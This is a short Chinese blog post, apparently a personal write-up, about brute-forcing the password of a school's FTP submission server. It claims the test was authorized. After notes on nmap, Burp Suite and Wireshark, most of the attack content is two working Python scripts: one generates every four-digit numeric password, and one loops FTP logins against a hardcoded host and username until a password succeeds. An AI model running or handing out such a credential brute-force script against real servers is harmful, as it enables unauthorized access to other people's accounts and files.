写在前面:请勿用于不法用途。本次测试经过授权。
前情描述
学生时代计算机课上交作业老师最喜欢使用FTP了。如下图所示。
甚至连ip永远都是192.158.50.2。
爆破思路
发包,根据反馈判断
使用nmap扫描
其实我感觉前期的扫描好像没什么意义,目前没看出来用处
获取ftp服务是开启的(这不废话么),以及主机使用Windows server
构造数据包
一开始我试图使用burpsuite,跟网页一样去进行字典爆破。无奈proxy里面对这个登录包intercept不到。
后来我试着用wireshark抓包,直接使用brup里面的intruder发包爆破。抓到包以后就。。。呵呵呵应答式连个完整的包都要自己构建。
这里可以看到ftp的传输直接拿明文来,比较方便利用字典构造构造,可惜我不会。
算了,写脚本吧。
写脚本
#密码构造脚本
fo = open('w', "w")
for i in range(0,10000):
fo.writelines(["{:0>4}".format(i),"\n"])
fo.close()
当然如果有自己的字典更好,这里只是举例了四位纯数字密码
#密码构造脚本
from ftplib import FTP
word = open('w','r')#构造好的密码
user_login = "abc" #用户名啦
def getPassword(password):
try:
ftp = FTP("192.168.50.2")
ftp.login(user_login,password)
print("user password:",password)
return True
except Exception:
return False
passwords = word.readlines()
for password in passwords:
password = password.strip()
print("test password:",password)
if(getPassword(password)):
break
word.close()
观察结果
安心等一下就行了,程序最后一行。如果没有就是你字典不行。这里就不展示了。